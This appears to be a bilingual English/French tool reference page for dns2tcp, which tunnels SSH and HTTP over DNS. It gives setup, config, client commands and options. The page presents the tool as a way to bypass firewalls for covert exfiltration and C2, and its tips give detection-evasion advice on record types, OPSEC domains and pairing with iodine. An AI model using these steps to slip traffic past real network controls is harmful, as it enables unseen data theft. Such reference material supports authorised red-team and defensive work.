dns2tcp
Outil de tunneling DNS pour le forwarding de trafic TCP. Encapsule des connexions TCP dans des requêtes DNS pour contourner les pare-feux qui autorisent le trafic DNS : crée des canaux cachés pour l'exfiltration de données ou le C2. DNS tunneling tool for TCP traffic forwarding. Encapsulates TCP connections inside DNS queries to bypass firewalls that allow DNS traffic — creates covert channels for data exfiltration or C2.
↗ https://github.com/alex-sector/dns2tcpOverview
dns2tcp tunnels TCP connections through DNS queries and responses. It encodes TCP data in DNS TXT records, allowing traffic to bypass firewalls that permit DNS. Used for egress tunneling, C2 channels, and accessing restricted services in locked-down environments.
Setup (Requires DNS Server Authority)
# You need:
# 1. A domain you control (e.g., tunnel.example.com)
# 2. An NS record pointing tunnel.example.com to your server
# 3. The dns2tcp server running on that machine
# DNS setup:
# tunnel.example.com IN NS ns1.example.com
# ns1.example.com IN A YOUR_SERVER_IP
Server Setup
Install
sudo apt install dns2tcp
# Configuration file (/etc/dns2tcpd.conf):
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = tunnel.example.com
resources = ssh:127.0.0.1:22, http:127.0.0.1:80
dns2tcpd -f /etc/dns2tcpd.conf -F # Foreground
dns2tcpd -f /etc/dns2tcpd.conf # Daemon
Client Usage
Connect to server (DNS tunneling)
dns2tcpc -r ssh -l 2222 -d tunnel.example.com -k secretkey
# Tunnel SSH through DNS
dns2tcpc -r ssh -l 2222 -d tunnel.example.com -k key
ssh user@127.0.0.1 -p 2222
# Tunnel HTTP
dns2tcpc -r http -l 8080 -d tunnel.example.com -k key
curl http://127.0.0.1:8080/
Tunnel without specific DNS server (uses system resolver)
dns2tcpc -r ssh -l 2222 tunnel.example.com
Options
# Server (dns2tcpd):
-f FILE Config file
-F Foreground mode
-d N Debug level
# Client (dns2tcpc):
-r RESOURCE Resource name (from server config)
-l PORT Local listening port
-d DOMAIN Domain (server's domain)
-k KEY Encryption key
-z RESOLVER DNS server to use
-t TYPE DNS record type (TXT, CNAME, KEY)
Comparison with dnscat2
# dns2tcp:
# + Stable TCP forwarding
# + Specific resource forwarding (SSH, HTTP, etc.)
# - Requires domain + NS record
# - Less feature-rich C2
# dnscat2:
# + Full C2 shell
# + Works without domain (direct IP mode)
# + Encrypted by default
# - More detectable
Tips
- DNS tunneling is slow — suitable for interactive SSH but not file transfers
- Many enterprise DNS proxies inspect/block DNS tunneling traffic patterns
- Using CNAME records (
-t CNAME) may be less suspicious than TXT queries - Set up a legitimate-looking domain name for OPSEC
- Combine with iodine (alternative DNS tunnel) for different detection profiles
Help / Man page
dns2tcpd [options] (server)
-f FILE Config file
-F Foreground
-d N Debug level (0-3)
dns2tcpc [options] domain (client)
-r RES Resource to use
-l PORT Local port
-d DOMAIN Server domain
-k KEY Encryption key
-z DNS Use specific DNS resolver
-t TYPE Record type: TXT, CNAME, KEY
-T N Timeout
Vue d’ensemble
dns2tcp tunnelise des connexions TCP à travers des requêtes et réponses DNS. Il encode les données TCP dans des enregistrements DNS TXT, permettant au trafic de contourner les pare-feux qui autorisent le DNS. Utilisé pour du tunneling en sortie, des canaux C2, et l’accès à des services restreints dans des environnements verrouillés.
Mise en place (nécessite l’autorité sur un serveur DNS)
# Il vous faut :
# 1. Un domaine que vous contrôlez (par ex. tunnel.example.com)
# 2. Un enregistrement NS pointant tunnel.example.com vers votre serveur
# 3. Le serveur dns2tcp qui tourne sur cette machine
# Configuration DNS :
# tunnel.example.com IN NS ns1.example.com
# ns1.example.com IN A YOUR_SERVER_IP
Mise en place du serveur
# Installer
sudo apt install dns2tcp
# Fichier de configuration (/etc/dns2tcpd.conf) :
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = tunnel.example.com
resources = ssh:127.0.0.1:22, http:127.0.0.1:80
dns2tcpd -f /etc/dns2tcpd.conf -F # Premier plan
dns2tcpd -f /etc/dns2tcpd.conf # Démon
Utilisation du client
# Se connecter au serveur (tunneling DNS)
dns2tcpc -r ssh -l 2222 -d tunnel.example.com -k secretkey
# Tunneliser SSH à travers le DNS
dns2tcpc -r ssh -l 2222 -d tunnel.example.com -k key
ssh user@127.0.0.1 -p 2222
# Tunneliser HTTP
dns2tcpc -r http -l 8080 -d tunnel.example.com -k key
curl http://127.0.0.1:8080/
# Tunneliser sans serveur DNS précis (utilise le resolver système)
dns2tcpc -r ssh -l 2222 tunnel.example.com
Options
# Serveur (dns2tcpd) :
-f FILE Config file
-F Foreground mode
-d N Debug level
# Client (dns2tcpc) :
-r RESOURCE Resource name (from server config)
-l PORT Local listening port
-d DOMAIN Domain (server's domain)
-k KEY Encryption key
-z RESOLVER DNS server to use
-t TYPE DNS record type (TXT, CNAME, KEY)
Comparaison avec dnscat2
# dns2tcp :
# + Forwarding TCP stable
# + Forwarding de ressources précises (SSH, HTTP, etc.)
# - Nécessite un domaine + un enregistrement NS
# - C2 moins riche en fonctionnalités
# dnscat2 :
# + Shell C2 complet
# + Fonctionne sans domaine (mode IP direct)
# + Chiffré par défaut
# - Plus détectable
Conseils
- Le tunneling DNS est lent : adapté au SSH interactif mais pas aux transferts de fichiers
- Beaucoup de proxys DNS d’entreprise inspectent/bloquent les motifs de trafic de tunneling DNS
- Utiliser des enregistrements CNAME (
-t CNAME) peut être moins suspect que des requêtes TXT - Mettez en place un nom de domaine d’apparence légitime pour l’OPSEC
- Combinez avec iodine (autre tunnel DNS) pour des profils de détection différents
Aide / Page de manuel
dns2tcpd [options] (server)
-f FILE Config file
-F Foreground
-d N Debug level (0-3)
dns2tcpc [options] domain (client)
-r RES Resource to use
-l PORT Local port
-d DOMAIN Server domain
-k KEY Encryption key
-z DNS Use specific DNS resolver
-t TYPE Record type: TXT, CNAME, KEY
-T N Timeout